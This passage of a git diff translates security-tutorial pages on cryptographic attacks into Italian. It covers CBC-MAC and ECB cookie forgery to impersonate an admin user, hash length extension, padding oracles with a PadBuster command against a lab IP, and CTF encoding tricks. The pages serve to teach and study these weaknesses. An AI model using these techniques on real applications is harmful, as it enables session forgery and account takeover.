la firma del nome utente **Administ** (m1) che è s1 +2. Ottieni la firma del nome utente **rator\x00\x00\x00 XOR s1 XOR 0** che è s32**.** +3. Imposta il cookie su s32 e sarà un cookie valido per l'utente **Administrator**. -# Attack Controlling IV +# Attacco Controllando IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Se puoi controllare l'IV utilizzato, l'attacco potrebbe essere molto facile.\ +Se i cookie sono solo il nome utente crittografato, per impersonare l'utente "**administrator**" puoi creare l'utente "**Administrator**" e otterrai il suo cookie.\ +Ora, se puoi controllare l'IV, puoi cambiare il primo byte dell'IV in modo che **IV\[0] XOR "A" == IV'\[0] XOR "a"** e rigenerare il cookie per l'utente **Administrator.** Questo cookie sarà valido per **impersonare** l'utente **administrator** con l'**IV** iniziale. -## References +## Riferimenti -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Maggiore informazione in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..c4b97bd6e 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Cercalo su Google**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,13 +19,13 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Modulo Magico) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) ## Encoders -Most of encoded data can be decoded with these 2 ressources: +La maggior parte dei dati codificati può essere decodificata con queste 2 risorse: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Molto buono! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Controlla tutte queste basi con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `<~BQ%]q@psCd@rH0l~>` +- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Tastiera Dvorak ``` drnajapajrna ``` - -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) +- [https://www.geocachingtoolbox.com/index.php?lang=it\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=it&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Lettere al loro valore numerico ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato torna a lettera ``` krodfdudfrod ``` - ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice chiave su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questa modalità è utilizzata quando si scrivono SMS).\ +Ad esempio: 2=A, 22=B, 222=C, 3=D...\ +Puoi identificare questo codice perché vedrai\*\* diversi numeri ripetuti\*\*. -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs (or 1s and 0s) - +Sostituisci ogni lettera con 4 A o B (o 1 e 0) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** e **Raw Inflate** (puoi trovarli entrambi in Cyberchef) possono comprimere e decomprimere dati senza intestazioni. ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +È necessaria una parola chiave. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +È necessaria una parola chiave ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Crypto Forte ### Fernet -2 base64 strings (token and key) - +2 stringhe base64 (token e chiave) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Condivisione Segreta di Samir +Un segreto è suddiviso in X parti e per recuperarlo hai bisogno di Y parti (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### Brute-force OpenSSL - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Strumenti - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..58953d5c8 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Electronic Code Book - schema di crittografia simmetrica che **sostituisce ogni blocco del testo in chiaro** con il **blocco di testo cifrato**. È il **schema di crittografia più semplice**. L'idea principale è di **dividere** il testo in chiaro in **blocchi di N bit** (dipende dalla dimensione del blocco di dati in input, algoritmo di crittografia) e poi crittografare (decrittografare) ogni blocco di testo in chiaro utilizzando l'unica chiave. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +L'uso di ECB ha molteplici implicazioni di sicurezza: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **I blocchi del messaggio crittografato possono essere rimossi** +- **I blocchi del messaggio crittografato possono essere spostati** -# Detection of the vulnerability +# Rilevamento della vulnerabilità -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Immagina di accedere a un'applicazione più volte e di **ricevere sempre lo stesso cookie**. Questo perché il cookie dell'applicazione è **`|`**.\ +Poi, generi due nuovi utenti, entrambi con la **stessa lunga password** e **quasi** lo **stesso** **username**.\ +Scopri che i **blocchi di 8B** dove le **info di entrambi gli utenti** sono le stesse sono **uguali**. Poi, immagini che questo potrebbe essere dovuto al fatto che **si sta utilizzando ECB**. +Come nel seguente esempio. Osserva come questi **2 cookie decodificati** hanno più volte il blocco **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Questo è perché il **nome utente e la password di quei cookie contenevano diverse volte la lettera "a"** (per esempio). I **blocchi** che sono **diversi** sono blocchi che contenevano **almeno 1 carattere diverso** (forse il delimitatore "|" o qualche differenza necessaria nel nome utente). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Ora, l'attaccante deve solo scoprire se il formato è `` o ``. Per farlo, può semplicemente **generare diversi nomi utente** con **nomi utente e password simili e lunghi fino a trovare il formato e la lunghezza del delimitatore:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Lunghezza nome utente: | Lunghezza password: | Lunghezza Nome Utente+Password: | Lunghezza cookie (dopo decodifica): | +| ---------------------- | ------------------- | ------------------------------- | ----------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Sfruttamento della vulnerabilità -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Rimozione di interi blocchi +Conoscendo il formato del cookie (`|`), per impersonare il nome utente `admin`, crea un nuovo utente chiamato `aaaaaaaaadmin` e ottieni il cookie e decodificalo: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Possiamo vedere il modello `\x23U\xE45K\xCB\x21\xC8` creato in precedenza con il nome utente che conteneva solo `a`.\ +Poi, puoi rimuovere il primo blocco di 8B e otterrai un cookie valido per il nome utente `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Spostare blocchi -## Moving blocks +In molti database è lo stesso cercare `WHERE username='admin';` o `WHERE username='admin ';` _(Nota gli spazi extra)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Quindi, un altro modo per impersonare l'utente `admin` sarebbe: -So, another way to impersonate the user `admin` would be to: +- Generare un nome utente che: `len() + len(` genererà 2 blocchi di 8Bs. +- Poi, generare una password che riempirà un numero esatto di blocchi contenenti il nome utente che vogliamo impersonare e spazi, come: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Il cookie di questo utente sarà composto da 3 blocchi: i primi 2 sono i blocchi del nome utente + delimitatore e il terzo è della password (che sta fingendo il nome utente): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Poi, basta sostituire il primo blocco con l'ultimo e si impersonerà l'utente `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Riferimenti - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..3fb62abd8 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# Riepilogo dell'attacco -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **La lunghezza del segreto** (questo può anche essere forzato a bruteforce da un dato intervallo di lunghezza) +- **I dati di testo chiaro** +- **L'algoritmo (e è vulnerabile a questo attacco)** +- **Il padding è noto** +- Di solito viene utilizzato uno predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è +- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**. -## How? +## Come? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** **precedentemente** creato (stato), **aggiungono il prossimo blocco di dati** e **lo hashano**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Poi, immagina che il segreto sia "secret" e i dati siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\ +Se un attaccante vuole aggiungere la stringa "append" può: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Generare un MD5 di 64 "A" +- Cambiare lo stato dell'hash precedentemente inizializzato a 6036708eba0d11f6ef52ad44e8b74d5b +- Aggiungere la stringa "append" +- Completare l'hash e l'hash risultante sarà un **valido per "secret" + "data" + "padding" + "append"** -## **Tool** +## **Strumento** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## Riferimenti -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Puoi trovare questo attacco ben spiegato in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..f0247c268 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} - # CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +In modalità CBC, il **blocco crittografato precedente viene utilizzato come IV** per XORare con il blocco successivo: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Per decrittografare CBC, vengono eseguite le **operazioni** **opposte**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Nota come sia necessario utilizzare una **chiave** di **crittografia** e un **IV**. -# Message Padding +# Messaggio Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Poiché la crittografia viene eseguita in **blocchi** di **dimensione** **fissa**, è solitamente necessario un **padding** nell'**ultimo** **blocco** per completarne la lunghezza.\ +Di solito si utilizza **PKCS7**, che genera un padding **ripetendo** il **numero** di **byte** **necessari** per **completare** il blocco. Ad esempio, se l'ultimo blocco manca di 3 byte, il padding sarà `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Esaminiamo più esempi con **2 blocchi di lunghezza 8byte**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Nota come nell'ultimo esempio l'**ultimo blocco era pieno, quindi ne è stato generato un altro solo con padding**. # Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Quando un'applicazione decrittografa dati crittografati, prima decrittografa i dati; poi rimuove il padding. Durante la pulizia del padding, se un **padding non valido attiva un comportamento rilevabile**, hai una **vulnerabilità di padding oracle**. Il comportamento rilevabile può essere un **errore**, una **mancanza di risultati** o una **risposta più lenta**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Se rilevi questo comportamento, puoi **decrittografare i dati crittografati** e persino **crittografare qualsiasi testo in chiaro**. -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## Come sfruttare +Potresti utilizzare [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) per sfruttare questo tipo di vulnerabilità o semplicemente fare ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Per testare se il cookie di un sito è vulnerabile, potresti provare: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** significa che **base64** è utilizzato (ma sono disponibili altri, controlla il menu di aiuto). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the 